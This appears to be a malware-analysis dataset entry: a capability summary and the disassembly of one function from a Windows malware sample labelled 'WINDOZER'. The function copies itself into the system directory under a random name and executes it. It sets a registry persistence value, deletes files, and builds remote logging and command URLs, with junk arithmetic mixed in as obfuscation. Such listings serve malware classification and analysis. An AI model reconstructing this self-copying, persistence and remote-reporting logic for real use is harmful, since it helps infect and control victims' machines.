Function at 0x40d13a
Capabilities:
Copy file
Create process on windows
Delete file
Get common file path
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4e0
push ebx
push esi
push edi
mov esi, 0x11916317
sub esi, 0x4273
call sub.KERNEL32.DLL_GetCurrentThreadId
call sub.KERNEL32.DLL_GetCurrentProcessId
xor esi, 0x2c01
call sub.KERNEL32.DLL_GetTickCount
push str.WINDOZER_11
push 0
push 0x1f0001
call sub.KERNEL32.DLL_OpenMutexA
mov dword [ebp - 0x230], eax
or eax, eax
je 0x40d1b2
call sub.KERNEL32.DLL_GetCurrentThreadId
sub esi, 0x4ea5
call sub.KERNEL32.DLL_GetTickCount
push dword [ebp - 0x230]
call sub.KERNEL32.DLL_CloseHandle
mov eax, 0x2071
mul esi
mov dword [ebp - 0x3c4], eax
mov esi, eax
push 1
call sub.KERNEL32.DLL_ExitProcess
call sub.KERNEL32.DLL_GetCurrentThreadId
push 0x104
push 0x42c2e0
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov eax, esi
mul esi
mov dword [ebp - 0x3c4], eax
mov esi, eax
call sub.KERNEL32.DLL_GetTickCount
push eax
call sub.CRTDLL.DLL_srand
mov eax, esi
add eax, esi
mov esi, eax
push 0x104
lea eax, [ebp - 0x22c]
push eax
push dword [0x418de4]
call sub.KERNEL32.DLL_GetModuleFileNameA
push 1
push 0x42c2e0
lea eax, [ebp - 0x22c]
push eax
call fcn.00402b4d
add esp, 0x10
or eax, eax
je 0x40d31f
add esi, 0x2417
call sub.CRTDLL.DLL_rand
mov edx, 0x10624dd3
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 0x1f
sub edx, ecx
mov edi, edx
add edi, 0x41
mov ebx, edi
mov byte [ebp - 0x3d5], bl
mov byte [ebp - 0x3c5], 1
jmp 0x40d27a
call sub.CRTDLL.DLL_rand
movzx edi, byte [ebp - 0x3c5]
mov edx, 0x10624dd3
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 0x1f
sub edx, ecx
mov ebx, edx
add ebx, 0x61
mov byte [ebp + edi - 0x3d5], bl
add byte [ebp - 0x3c5], 1
mov al, byte [ebp - 0x3c5]
cmp al, 8
jbe 0x40d24a
mov byte [ebp - 0x3cd], 0
call sub.CRTDLL.DLL_rand
mov edx, eax
test dl, 1
jne 0x40d2a5
mov byte [ebp - 0x3cf], 0x33
mov byte [ebp - 0x3ce], 0x32
mov eax, esi
mul esi
mov dword [ebp - 0x4e0], eax
mov esi, eax
lea eax, [ebp - 0x3d5]
push eax
push 0x42c2e0
push str._s_s.exe
lea eax, [ebp - 0x4d9]
push eax
call sub.CRTDLL.DLL_sprintf
push 0
lea eax, [ebp - 0x4d9]
push eax
lea eax, [ebp - 0x22c]
push eax
call sub.KERNEL32.DLL_CopyFileA
lea eax, [ebp - 0x4d9]
push eax
call fcn.0040a284
sub esi, 0x6a48
lea eax, [ebp - 0x3d5]
push eax
call fcn.00405224
add esp, 0x18
push 0
lea eax, [ebp - 0x4d9]
push eax
call sub.KERNEL32.DLL_WinExec
sub esi, 0x4d07
push 1
call sub.KERNEL32.DLL_ExitProcess
push 0x42c2e0
push 0x42afb0
call sub.CRTDLL.DLL_sprintf
push str._blbk32.dll
push 0x42afb0
call sub.CRTDLL.DLL_strcat
add esi, 0x5378
lea eax, str.WINDOZER
mov dword [ebp - 4], eax
mov eax, dword [0x418de4]
mov dword [ebp - 0x18], eax
lea eax, [0x40d624]
mov dword [ebp - 0x24], eax
push 0x7f00
push 0
call sub.USER32.DLL_LoadCursorA
mov dword [ebp - 0x10], eax
mov eax, esi
sub eax, esi
mov esi, eax
and dword [ebp - 0x14], 0
and dword [ebp - 8], 0
mov dword [ebp - 0xc], 5
mov dword [ebp - 0x28], 3
mov eax, esi
add eax, esi
mov esi, eax
and dword [ebp - 0x20], 0
and dword [ebp - 0x1c], 0
xor esi, 0x17e7
lea eax, [ebp - 0x28]
push eax
call sub.USER32.DLL_RegisterClassA
push 0
push dword [0x418de4]
push 0
push 0
push 1
push 1
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x42f8a7
push str.WINDOZER
push 0
call sub.USER32.DLL_CreateWindowExA
mov dword [0x42c5f0], eax
mov eax, esi
add eax, esi
mov esi, eax
call sub.KERNEL32.DLL_GetTickCount
push str.WINDOZER_11
push 0
push 0
call sub.KERNEL32.DLL_CreateMutexA
call sub.KERNEL32.DLL_GetTickCount
mov eax, esi
sub eax, esi
mov esi, eax
lea eax, [ebp - 0x3c0]
push eax
push 0x202
call sub.wsock32.dll_WSAStartup
push str.http:__f_piplog.php__s:_i:_i:_s:_09u:_i:_02d:_02d:_02d
push 0x418400
call fcn.0040d89c
push str.http:__f_ppslog.php
push 0x419b80
call fcn.0040d89c
mov eax, esi
sub eax, esi
mov esi, eax
push str.http:__f_wcmd.htm
push 0x42c3f0
call fcn.0040d89c
push str.wdoz
push 0x419d90
call fcn.0040d89c
xor esi, 0xf91
push str.about:blank
push 0x42c600
call fcn.0040d89c
push str.http:__www.microsoft.com_isapi_redir.dll_prdieariesearch
push 0x42b0d0
call fcn.0040d89c
mov dword [0x419ae0], 0x94
add esi, 0x5809
push 0x419ae0
call sub.KERNEL32.DLL_GetVersionExA
mov eax, dword [0x419af0]
mov dword [0x419f98], eax
call fcn.0040cc2b
call sub.CRTDLL.DLL_rand
mov edi, eax
mov word [0x42d0a4], di
sub esi, 0x1c9d
call sub.CRTDLL.DLL_rand
mov edi, eax
mov word [0x42d0a8], di
push 0x100
lea eax, [ebp - 0x128]
push eax
push 0x42f7e2
push str.SoftwareMicrosoftIE4
push 0x80000002
call fcn.0040758a
add esp, 0x24
or eax, eax
jne 0x40d534
push 8
lea eax, [ebp - 0x128]
push eax
call fcn.00402cf1
sub esi, 0x5b69
lea eax, [ebp - 0x128]
push eax
push 0x419d90
push 0x42f7dc
push 0x419d90
call sub.CRTDLL.DLL_sprintf
push 0x419d90
push 0x42f7e2
push str.SoftwareMicrosoftIE4
push 0x80000002
call fcn.004074b5
add esp, 0x28
jmp 0x40d545
lea eax, [ebp - 0x128]
push eax
push 0x419d90
call fcn.0040d89c
mov eax, esi
add eax, esi
mov esi, eax
call fcn.00407a27
movzx eax, word [0x42d0a8]
push eax
call fcn.00409ebd
mov eax, 0x203b
mul esi
mov dword [ebp - 0x3c8], eax
mov esi, eax
movzx eax, word [0x42d0a4]
push eax
call fcn.00407b2a
push str.dz32x.vxd
push 0x42c2e0
push 0x42f96d
lea eax, [ebp - 0x128]
push eax
call sub.CRTDLL.DLL_sprintf
mov eax, esi
add eax, esi
mov esi, eax
lea eax, [ebp - 0x128]
push eax
call sub.KERNEL32.DLL_DeleteFileA
push 0
push 0
push 0
push 0
call fcn.0040cb71
push fcn.0040c84b
push 0x927c0
push 0x722d
push dword [0x42c5f0]
call sub.USER32.DLL_SetTimer
push 0
push 0
push 0
push 0
call fcn.0040c84b
mov eax, esi
mul esi
mov dword [ebp - 0x3cc], eax
mov esi, eax
push dword [0x42d0b0]
call fcn.0040544c
push 0x40cba8
push 0x2710
push 0x2b04
push dword [0x42c5f0]
call sub.USER32.DLL_SetTimer
push dword [0x42d0ac]
call fcn.004072c5
add esp, 0x20
mov eax, esi
sub eax, esi
mov esi, eax
pop edi
pop esi
pop ebx
leave
ret